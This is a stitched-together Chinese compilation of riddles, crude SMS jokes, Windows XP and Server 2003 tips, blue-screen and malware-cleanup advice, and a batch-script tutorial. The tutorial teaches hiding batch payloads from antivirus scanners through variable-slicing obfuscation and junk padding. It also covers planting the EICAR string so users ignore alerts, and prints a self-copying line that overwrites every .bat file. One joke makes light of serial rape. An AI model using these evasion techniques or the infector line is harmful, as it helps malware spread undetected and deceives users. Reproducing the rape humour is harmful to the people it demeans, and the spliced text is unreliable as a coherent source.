1,林黛玉是怎么死的？
2,从前有个人叫小蔡，被关在监狱中了一夜，之后怎么了？
3,大雁为什么要飞去南方过冬?
4,狐狸为什么经常会摔跤！！？？
5,猴子最不喜欢什么线?
6,如果有一辆车,司机是王子,乘客是公主,请问这辆车是谁的~
7,上课老师抽查背课文,小猪,小狗,小猫都举手了,老师会叫谁?
8,芹菜粪是什么颜色的??????
9,我和超人的唯一区别是？
10,当你向别人夸耀你的长处的同时，别人还会知道你的什么？
11,4个人在屋子里打麻将，警察来了为什么带走5个人？
12,除了玻璃、瓷器等容易碎的东西要小心轻放外，还有什么东西要小心轻放？
答案
[separator]
1,摔死的， 因为，“天上掉下个林妹妹”
2,馊了。
3,因为走过去太累了…
4,因为狐狸很狡猾（脚滑）
5,平行线，因为平行线没有相交(香蕉)。
6,是如果的~(如果有辆车~)。。。
7,小狗,因为旺旺仙贝(汪汪先背)
8,黄色，秦始皇 (芹屎黄)
9,我把内裤穿在里面.
10,知道你不是哑巴
11,因为他们打的人叫“麻将”
12,屁……
某强人手机里保存的牛短信(要有耐心慢慢看哦,超经典啊) １.老夫妇去拍照，摄影师问：“大爷，您是要侧光，逆光，还是全光？"，大爷腼腆的说：“我是无所谓，能不能给你大妈留条裤衩？"
2.老婆语录：允许你喝醉，允许你勾妹，但晚上必须给老娘归队，如果你敢伤我的心，伤我的肺，老娘一定把你的第三条腿打残废，让你的鸟鸟永远打嗑睡。
3.两个饺子结婚了，送走客人后新郎回到卧室，竟发现床上躺着一个肉丸子！新郎大惊，忙问新娘在哪？肉丸子害羞的说：讨厌，人家脱了衣服你就不认识啦！
4.俩老夫妻某日吃晚饭时突发奇想：裸餐！找找从前的感觉！脱光后老太婆道：我还有反应耶！乳 房还和年轻时一样发热！老头斜了一眼道：耷拉到汤里了！
5.四只老鼠吹牛：甲：我每天都拿鼠药当糖吃；乙：我一天不踩老鼠夹脚发痒；丙：我每天不过几次大街不踏实；丁：时间不早了，回家抱猫去咯。
6.天是蓝的，海是深的，男人的话没一句是真的；爱是永恒的，血是鲜红的，男人不打是不行的；男人如果是有钱的，和谁都是有缘的，男人靠的住，猪都会爬树。
[separator]
7.一群蚂蚁爬上了大象的背，但被摇了下来，只有一只蚂蚁死死地抱着大象的脖子不放，下面的蚂蚁大叫：掐死他，掐死他，小样，还他妈反了！
8.小孩把* 院养的鹦鹉偷回家，一进门，鹦鹉便叫：搬家啦！看见他妈妈又叫：老板也换啦！看见他姐姐又叫：小姐也换了！看见他爸爸又叫：我cao还是老客！
9.漫漫人生路，谁不错几步！家庭要照顾，情人也得处！家里有个做饭的，外面养个心善的，对桌坐个好看的，远方有个思念的！保住二，守住一，发展三四五六七！
10.一只小狗爬上你的餐桌，向一只烧鸡爬去，你大怒道：你敢对那只烧鸡怎样，我就敢对你怎样，结果小狗舔了一下鸡屁股，你昏倒，小狗乐道：小样看谁狠。
11.传说今晚，阴魂不散，死光又现，鬼魂四处转！愿鬼听到我的呼唤，半夜来到你庆头，苍白的脸，幽绿的眼，干枯的手抚摸你的脸，代我向你说一句：晚安！
12.男人，总是笑容满面，两眼放电，不是发病犯*，就是坑蒙拐骗！女人丰胸细腰，放荡风骚，不是掏你腰包，就是放你黑刀！这年月男怪女妖，小心中招啊！
13.你走在路上，一母狗扑向你从你的脚上咬了一块肉，迅速吞下去，你伸脚正要踢它的时候，狗含着泪说：你打吧，反正我肚里已经有了你的骨肉！
14.老鼠没女朋友特别郁闷，终于一只蝙蝠答应嫁给他，老鼠十分高兴。别人笑他没眼光，老鼠：你们懂什么，她好歹是个空姐。
15.朋友问蝙蝠怎么会下嫁给老鼠，蝙蝠眼含泪花，意味深长：唉！那天他吃了伟 哥，火力壮，一下蹦上天花板，让他得了手。
16.我花一毛钱发这条短信给你，是为了告诉你——我并不是一个一毛不拔的人。比如这一毛钱的短信就是我送你的生日礼物。
17.蚂蚁懒洋洋地躺在土里，伸出一只腿，朋友问你干嘛呢？蚂蚁：待会大象来了，绊他一跟头。
18.喜鹊来，妈妈说这是喜鸟是客；燕子来，妈妈说这是益鸟是客；乌鸦来，孩子问你也是客人吗？乌鸦叫：Yes，吾乃黑客！
19.某美女发现口红太重，拿湿纸巾擦拭后扔到路上。一老头拣起，端详半天突然醒悟，追上说：姑娘，这超薄的就是容易掉呀！
父亲问我人生有什么追求？
我回答金钱和美女，父亲凶狠的打了我的脸；
我回答事业与爱情，父亲赞赏的摸了我的头。
——赖宝日记摘录5月17日
对付凶恶的人，就要比他更凶恶；对付卑鄙的人，就要比他更卑鄙；
对付潇洒的人，就要比他更潇洒；对付英俊的人，就要……毁他的容！
——赖宝日记摘录7月23日
[separator]
我的原则是：人不犯我，我不犯人；人若犯我，我就生气！
——赖宝日记摘录5月23日
忽然想起上大学时，老师出对联：国兴旺，家兴旺，国家兴旺。
班委对下联：天恢弘，地恢弘，天地恢弘！
后来我被赶出了教室……
因为我对的下联是：你妈的，他妈的，你他妈的！
——赖宝日记摘录5月23日
凤凰重生就是涅盘，野鸡重生就是尸变。
——赖宝日记摘录7月11日
这个世界不公平就在于：
上帝说：我要光！——于是有了白天。
美女说：我要钻戒！——于是她有了钻戒。
富豪说：我要女人！——于是他有了女人。
我说：我要洗澡！——居然停水了！
——赖宝日记摘录5月8日
吃了晚饭在阳台抽烟享受，忽见夜空中一个光点转瞬即逝的划过，心里> > > > 一激动：流星！于是马上许愿……
许了六七个愿望，睁眼，烟已经抽完了，顺手扔出阳台，忽然听见楼下> > > > 一个女孩的声音："哇！流星！快许愿……"
——赖宝日记摘录3月22日
记得刚毕业不久的一天，女友给我发了一条短信："我们还是分手吧！"
我还没来得及伤心呢，女友又发来一条："对不起，发错了。"
这下可以彻底伤心了……
——赖宝日记摘录8月15日
我梦想的人生：睡觉睡到自然醒，数钱数到手抽筋。
我现实的人生：数钱数到自然醒，睡觉睡到手抽筋……
——赖宝日记摘录3月18日
今天看书，看到康熙皇帝在二十三岁的时候已经贵为一国之君，绩伟功丰，我很沮丧；
但又看到同治皇帝在二十三岁时已经死了四年了，我平衡了。
——赖宝日记摘录11月11日
单身很痛苦，单身久了更痛苦，前几天我看见一头母猪，都觉得它眉清> > > > 目秀的……
——赖宝日记摘录6月22日
情人节，我辗转找到一个我中学暗恋的女生的电话，给她发了一条短信：如果只有一碗粥，你先喝半碗，剩下的半碗，我放在怀里给你保温……
几分钟后，她回了一条短信：你是谁介绍的？一次四百，包夜七百。
——赖宝日记摘录2月14日
今天心情一直不好，昨晚的短信让我知道了，我以前暗恋的女生堕落了，竟然跟我说一次四百……
当时我很伤心，一边伤心一边翻了翻钱包：于是我更伤心了，我连陪她堕落一次的资本都没有……
——赖宝日记摘录2月15日
你问我，幸福在哪里？我告诉你，你踮起脚尖，就能离幸福更近一些，
你闭上眼，就能感受到幸福了……
许久，我们分开，我看著你羞红的脸颊，轻声问你，感觉到幸福了么？
你温柔的低头，娇声回了一句：你今天，吃蒜了?
——赖宝日记摘录5月10日
洞房花烛夜，对新娘子来说，都是不能忘记的。过了一夜，将开始新的生活。
在这新的一天早晨，世界各地的新娘子，会和她的丈夫说些什么？
德国新娘：“汉斯，你睡着了吗？”
法国新娘：“亲爱的，我美吗？”
日本新娘：“真对不起，服侍得不周的地方，还请多多原谅。”
美国新娘：“怎么样？春宵一刻值多少钱？……千金？你说的是美金还是黄金？”
英国新娘：“你说，我们的孩子，你是要让他念剑桥还是牛津？”
意大利新娘：“吉诺！你还活着吗？”
中国新娘：“从此以后，我就是你的人了。”
采花贼,专在校园中侵袭女生。
一次,胁持一“大一”女生,女生奋力抵抗,狂叫惊呼,采花贼心虚,没有得逞。.
一次,胁持一“大二”女生,女生低声求饶:别...、不要、不要...。采花贼强行得手。
一次,胁持一“大三”女生,女生同样低声求饶:别...、不要、不要...。采花贼强行非礼,正要插入,女生突然冷静道:等一下,先把这个戴上。随手递过一个避孕套。.....
一次,挟持一“大四”女生,女生并不喊叫,只递过一个避孕套,然后镇静道:先戴上,不要太粗鲁了。...
一次,挟持一“女硕士研究生”,女研究生递过一联避孕套,轻声道:一次换一个,这是十二个,够了吧。.......采花贼一个月不能直腰走路,校园相对稳定了。
又一次,挟持一“女博士生”,女博士莫不作声,随采花贼肆意奸污。事闭,整理好衣物,递过一把钥匙和一个名片,道:这是我宿舍公寓的钥匙和手机号,你可以随时找我。......
终于有一次,胁持到一“女博士后”,女博士后同样莫不作声,随采花贼肆意奸污。事闭,清理好衣物,自言自语道:作爱原来是这个感受,不过如此,远没有手淫刺激。......
最后,胁持一“女院士”,完事后院士道:“下次务必带上你同伙”
System Volume Information”文件夹,中文名称可以翻译为“系统卷标信息”。这个文件夹里就存储着系统还原的备份信息。
“系统还原”是Windows XP最实用的功能之一，它采用“快照”的方式记录下系统在特定时间的状态信息，也就是所谓的“还原点”，然后在需要的时候根据这些信息加以还原。还原点分为两种：一种是系统自动创建的，包括系统检查点和安装还原点；另一种是用户自己根据需要创建的，也叫手动还原点。随着用户使用系统时间的增加，还原点会越来越多，导致硬盘空间越来越少，最后还要被警告“磁盘空间不足”
说白了，就是系统还原把你删除的系统文件以及信息储存在里面,实在是没什么用,现在谁还用XP自带的系统还原呢,那就让我们彻底的删除它吧..
Quote:
删除办法:
[separator]
"System Volume Information" 的删除
一般情况下C：/System Volume Information这个文件夹是无法访问的，需要加NTFS权限
1.我的电脑-工具-文件夹选项-查看-关闭简单共享
2.查看C：/System Volume Information的属性,会多出一个安全选项-添加-高级-立即查找-双圾你目前的用户名-确定.
3.回到C：/System Volume Information的属性-安全选项-把权限里的完全控制点上
4.这时候你就可以进入C：/System Volume Information了,里面有什么,痛快的删掉它~!,.
彻底删除"System Volume Information"
1.在运行,输入"gpedit.msc"／（组策略）程序／ 计算机配置／管理模板／系统／系统还原／右边，关闭系统还原，双击打开它，启用。
2,在运行,输入"gpedit.msc"／（组策略）程序／计算机配置／管理模板／windows组件／windows Installer／在右边会有一个"关闭创建系统还原检查点"双击打开它,选择启用。
删除change.log
文件夹:\System Volume Information删不掉
change.log的文件删不掉,删除这个文件可以用强制删除软件!
解决方法：
右击我的电脑／属性／系统还原项／选“关闭所有还原”，再删除ystem Volume Information文件夹。
或 我的电脑／任何盘符／工具／文件夹选项／查看／还原默认值。
（注：change.log是系统更改日志，主要监看各个盘区的变化，不是病毒）
注意:每个盘符(C: D: E: F:)下都有这个文件夹,都可以通通删除!
1、如何打开 DirectX 的 DirectX3D 硬件加速？
答：打开桌面属性，设置 -> 高级 -> 疑难问答 -> 硬件加速 -> 完全 -> 应用。运行 dxdiag.exe，打开显示选项卡，可看到 3 项全部启用了。最后，利用Windows updates在Windows Server 2003中安装DirectX 9.0a。
2、如何启用声卡？
答：系统安装后，声卡是禁止状态，所以要在 控制面板 -> 声音 -> 启用，重启之后再设置它在任务栏显示。
现在我们还要启用音频加速。在运行中输Services.msc然后按回车，会出现Services 窗口，找到Windows Audio服务，双击打开，把启动类型设置为自动，点击应用，然后点击启动，启动该服务。
最后我们还要使用DirectX诊断工具，在运行中输入dxdiag并回车，打开声音选项卡，把硬件的声音加速级别的滑块拖动到完全加速。
3、如何启用 ASP 支持？
[separator]
答：Windows Server 2003 默认安装，是不安装 IIS 6 的，需要另外安装。安装完 IIS 6，还需要单独开启对于 ASP 的支持。方法是：
控制面板 -> 管理工具 -> Web服务扩展 -> Active Server Pages -> 允许。
4、如何启用 XP 的主题？
答：首先我们需要回到服务设置对话框启用Themes服务，在运行中输入Services.msc并按回车，找到并双击Themes这个服务，设置启动类型为自动，点击应用，然后点击启动打开这个服务。
5、如何禁止关机时出现的关机理由选择项？
答：开始 -> 运行 -> gpedit.msc -> 计算机配置 -> 管理模板 -> 系统 -> 显示关机事件跟踪 -> 禁用。
6、如何启用摄像机，摄像头或者扫描仪等设备？
答：在运行中输入Services.msc并回车，找到并双击Windows Image Acquisition (WIA) 服务，设置启动类型为自动点击应用后点击启动，然后点击确定。
7、如何禁用开机 CTRL+ALT+DEL？
答：管理工具 -> 本地安全策略 -> 本地策略 -> 安全选项 -> 交互式登录：不需要按CTRL+ALT+DEL -> 已启用。
慎用！搞不好会进不去系统。
注意：为系统安全起见，一开始设置时管理员的密码就不要留空。
1:编写能在LINUX与WINDOWS同时运行的BAT脚本
为什么能编写出这样的脚本?
因为BAT有一个特性,他会忽略一些简单的错误,(也就是错误的命令他只会返回一个错误信息,并不
退出BAT脚本,而是会执行下一个命令,直到全部命令执行完毕,不管对错!)
利用个特性我们就可以在脚本前面写上LINUX的shell脚本,让BAT忽略报错!
而LINUX的shell脚本是按顺序执行的,(他不忽略简单错误,遇到错误马上退出脚本,但是前面没报错的脚本会被执行)
遇到错误就会退出,把BAT脚本的命令下在LINUX shell脚本后面!!这样就能写出一个能在多操作系统运行的脚本!
具体编写:
[separator]这样的BAT脚本必须先在LINUX下先编写出LINUX部分的脚本代码!因为LINUX与WINDOWS的回车换行符号不一样,
所以如果直接在WINDOWS下编写完全部代码的话,将无法在LINUX shell下执行脚本,(WINDOWS的回车换行符号会使命令错误)
例如: 在LINUX shell下输入:| vi lin.bat (用vi打开新建一个文件名为lin.bat的文件)
| #!/bin/bash (进入编辑状态后输入的内容)
| ls /
|
编写完保存后，将文件拿到WINDOWS下来用记事本打开，接着在后面加上一条net user命令
例如: | #!/bin/bash
ls /
(这是WINDOWS读取在LINXU编写文件后的内容，不要修改!)
| net user
保存好后,直接在WINDOWS下执行,这样在执行到net user时就会正确执行了,
在linux下用bash lin.bat执行后,执行到net user 时就会退出了!!
2.批处理脚本的加密解密
批处理脚本的加密解密方法有多种,用得最多的是直接将bat转换成exe文件,大家直接到baidu搜索BAT转EXE,就知道怎么干了,
我今天教大叫其他一个简单的方法,直接将以下内容复制到一个空文文件里
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net start
命令部分随便输入,但是命令后面不要有空格
破解方法:直接在cmd下用edit打开或者用word打开
原理:
记事本程序在保存一篇新建的文档时，如果没有指定编码类型，会使用缺省的ANSI类型（对于中文版来说，对应的就是GB码）。
而在打开一篇已创建的文档时，它会分析文档的编码类型，它首先判断文档头部有无BOM（Byte order Mark，字节序标记，长
度为(２-３字节)，如有则根据其内容判断编码类型，FF、FE（Unicode）,FE、FF（Unicode big endian）,EF、BB、BF（UTF-8)
因为事实上有很多非ANSI编码的文档是没有任何BOM的“纯文本”，所以对这些文档不能简单的判断为ANSI编码。
而需要使用一系列的统计学算法根据文档内容来猜测文档编码。记事本使用了 IsTextUnicode 函数来判断是否为
Unicode/Unicode big endian 编码，使用 IsTextUTF8 判断是否为 UTF8 编码。但既然是统计学算法，就难免存在误判
，尤其在文档内容过短时，由于样本的容量太小，这种误判的概率会显著增大。比如那个有名的微软与联通有仇的笑话，
就是记事本在打开只有"联通"二字的ANSI编码文档时，IsTextUTF8 函数将其误判为UTF8编码[2]；同样的误判也发生在
IsTextUnicode 函数上，比如具有 “this app can break”这种具有4335结构的文档，会被误判为 Unicode 编码[3][4]。
需要说明的是，这种误判的可能性是建立在文本较短且其字节位特征不被干扰的前提上的。如果将上述的文本做稍许修改（即使只是增加一个回车），则误判很难再发生。
而这种方法的特殊性在于，它的字节串不但具有Unicode特征，而且很长达到了1288字节，也就是说它的Unicode特征性很强，所以可以抵抗一些较短的不具有Unicode特征串的干扰，这是由统计学的规律所决定的。但是在干扰串稍长时，Unicode的特征将会受到显著干扰，直至被 IsTextUnicode 函数认定为非 Unicode。所以，有些朋友总是无法测试成功，应该是与附加的批处理代码长度和内容相关。
因为其他的编辑器（比如 Word / Wordpad / EditPlus / UltraEdit）使用了更新的编码类型判断算法，所以在 Unicode 判断上改进了不少，而 UTF8 的判断仍然不尽如人意。但因为理论上来说完全准确地算法并不存在，所以我们只能依靠避免使用无BOM的非ANSI文档，或者打开文档时手动指定编码类型。
另外，如果使用记事本保存了这些误判了编码类型的文件，则将难以恢复。如果使用误判编码保存，则将给原文档加上BOM标记，则使用其他编辑器也再无法观察到原文档。如果使用 ANSI 编码保存，则原文档将会被当作 Unicode 文档而被转换，还原的可能性接近于零。
3.加入欺骗代码
骗代码就是其他一些病毒的特征码,加到我们自己的程序中来,让杀毒软件报错病毒型号,达到欺骗用户的目录
我们可以在BAT中加入EICAR测试文件
他是来自EICAR的一个com文件(有兴趣的朋友可以到http://www.eicar.org/anti_virus_test_file.htm去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.
我们将EICAR加入BAT中后,BAT就会提示报毒,但是病毒类型是EICAR,这样反病毒软件的提示并不会引起人们的注意.
下面是EICAR测试文件的内容:
[]X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[]
BAT病毒代码(假设)
[]for %%a in (*.bat) do copy %0 %%a[]
(由于上面代码报毒,加了两符号,防止动画小组错把文本杀掉...)
4.代码中插入圾伪代码
什么是"垃圾伪代码"?垃圾伪代码就是写在有效代码中间,但是在运行的时候没有任何作用的代码.
BAT中如何实现这一功能呢?很简单,我们只需要用set定义一个空变量就可以了
例如:
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%se%snj%%snj%%snj%%snj%r%snj%%snj%%snj%
看完上面的代码你知道我写的BAT内容是什么吗??
其实就是net user
5.BAT的免查杀
BAT的免查杀非常简单,一般杀毒软件对BAT的查杀只是检查一下前1000 Byte,看有没有特征码!
因为我们的BAT能忽略简单的错误,所以我们可以在前面胡乱加入一些命令,1000 Byte左右,这样就能免查杀了.
不过有时后这种方法不灵,那我们就得用到,代码中插入圾伪代码这个技巧了.
6.综合利用
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
cls
@%ComSpec:~-1,1%%USERPROFILE:~5,1%h%HOMEPATH:~2,1% off
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% snj=
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%%snj%t love=23nw)svt(05454s756efgdf%snj%54.4566gfr6z6
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% love=%love:v=e%
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%t love=%love:(=u%
%ALLUSERSPROFILE:~11,1%%ALLUSERSPROFILE:~8,1%t gad=%love:~2,1%%love:~6,1%%love:~-29,1%
%snj%%gad%%snj% %snj%%snj%us%love:~6,1%%love:~-4,1%%snj%%
大家一眼看不出这是什么命令了吧,其实这就是一条net user
利用了"代码中插入圾伪代码" 与 "批处理脚本的加密"
这个加密方法是读取系统变量值中指定的字母的方法!
1.重启
有时只是某个程序或驱动程序一时犯错，重启后它们会改过自新。
2.新硬件
首先，应该检查新硬件是否插牢，这个被许多人忽视的问题往往会引发许多莫名其妙的故障。如果确认没有问题，将其拔下，然后换个插槽试试，并安装最新的驱动程序。同时还应对照微软网站的硬件兼容列表检查一下硬件是否与操作系统兼容。如果你的硬件没有在表中，那么就得到硬件厂商网站进行查询，或拨打他们的咨询电话。
3.新驱动和新服务
如果刚安装完某个硬件的新驱动，或安装了某个软件，而它又在系统服务中添加了相应项目（比如:杀毒软件、cpu降温软件、防火墙软件等），在重启或使用中出现了蓝屏故障，请到安全模式来卸载或禁用它们。
4.检查病毒
比如冲击波和震荡波等病毒有时会导致Windows蓝屏死机，因此查杀病毒必不可少。同时一些木马间谍软件也会引发蓝屏，所以最好再用相关工具进行扫描检查。
5.检查BIOS和硬件兼容性
对于新装的电脑经常出现蓝屏问题，应该检查并升级BIOS到最新版本，同时关闭其中的内存相关项，比如:缓存和映射。另外，还应该对照微软网站的硬件兼容列表检查自己的硬件。还有就是，如果主板BIOS无法支持大容量硬盘也会导致蓝屏，需要对其进行升级。
6.检查系统日志
在“开始→运行”中输入“EventVwr.msc”，回车后打开“事件查看器”，注意检查其中的“系统日志”和“应用程序日志”中标明“错误”的项。
7.查询停机码
把蓝屏中密密麻麻的E文记下来，接着到其他电脑中上网，进入微软帮助与支持网站:http://support.microsoft.com，在左上角的“搜索（知识库）”中输入停机码，比如:0x0000001E，接着在下面首先选择“中文知识库”，如果搜索结果没有适合信息，可以选择“英文知识库”再搜索一遍。一般情况下，会在这里找到有用的解决案例。另外，在百度、Google等搜索引擎中使用蓝屏的停机码或后面的说明文字做为关键词搜索，往往也会有意外收获。
8.最后一次正确配置
一般情况下，蓝屏都出现于更新了硬件驱动或新加硬件并安装其驱动后，这时Windows 2000/XP提供的“最后一次正确配置”就是解决蓝屏的快捷方式。重启系统，在出现启动菜单时按下F8键就会出现高级启动选项菜单，接着选择“最后一次正确配置”。
9.安装最新的系统补丁和Service Pack
有些蓝屏故障是Windows本身存在缺陷造成的，因此可通过安装最新的系统补丁和Service Pack来解决。
第一：右键点击IE浏览器，打开属性检查internet选项设置“主页”项是否被修改，如果是请改为空白页，并清空IE的临时文件夹。
第二：升级“瑞星杀毒软件”至最新版，查杀内存中是否有病毒运行（只查杀内存即可）。
第三：在开始菜单中的“运行”项中输入msconfig命令调出“系统配置实用程序”，检查“启动”项（2000系统可以从XP系统拷贝MSCONFIG.EXE使用，也可以使用第三方软件查看，如Windows优化大师）。记录每个不明启动项的文件名及所在路径，并取消这些自启动项。
第四：CTRL+ALT+DEL 打开 任务管理器 ，检查“进程”中是否有和启动项中同名的的程序在运行，尝试结束该进程！（注意，该名称很可能与某些系统程序同名，即恶意攻击程序伪装成系统进程运行。也许会有两个同名进程存在，这很可能就是你要找的凶手。）
附：已知伪装进程
[separator]
英文文件名taskmgr.exe 中文名“任务管理器”
现象：两个同名进程同时运行，基本无法分辨。但结束正确进程会关闭任务管理器，而结束假冒进程则可暂时解决IE自动连接问题！
第五：按照在启动项里所找到的文件路径，查找你刚刚你所结束的可以进程的文件。打开我的电脑，在窗口上方菜单中依次打开“工具——文件夹选项——查看，点选 显示所有文件和文件夹”项，同时取消“隐藏受保护的操作系统文件”前的对勾，以便完全检查所有文件。（注意，已知恶意程序均为深度隐藏，98系统下需打开显示隐藏文件功能，2000、XP系统下必须同时取消隐藏受保护的操作系统文件功能）
第六：找到目标文件后，请右键该文件查看属性。注意其创建时间和修改时间，多数病毒文件这两个时间都会一致或相差较小，这个时间就是你中招的时间。还有，请将查看设置为 详细信息 检查是否在该文件夹下还有同时间创建的文件，病毒有可能伪装成影音或其他格式的文件，不要被它迷惑更不要点击运行它。马上原地将它们压缩，改为其他名称，这样以来可以解除威胁，二来可以防止误删除系统文件。（如果提示你该程序正在运行，你可以重起机器后连续按F8键进入安全模式，然后压缩）当然，如果你可以确认是病毒，最好直接删除~
第七：使用开始菜单中的“搜索”功能在硬盘上完全查找你发现的可以文件，看是否在其他位置还有该文件副本一并删除。（笔者所遭遇的恶意程序就是在伪装成 任务管理器 的同时又伪装成notepad.exe记事本程序，并使得所有记事本文件都会通过它打开，也就是说你打开某个记事本文件的同时恶意程序会再度运行。）另外，请手动检查windows文件夹下是否存留同名病毒文件，还有windows下的system和system32文件夹也要仔细检查，笔者发现最近的病毒都将自身副本加入了上述三个文件夹中，如果清楚不干净很可能死灰复燃！
第八：重新启动你的电脑，连线上网打开IE，看看是否已经恢复正常。如果不行请再次按上述方法更详细的分析一下，看看是否有遗漏。
第九：问题解决不要高兴的太早，这种恶意程序引导的网站很有可能带有病毒或木马程序。请将杀毒软件升级至最新版本进入安全模式完全查杀一遍，保证安全！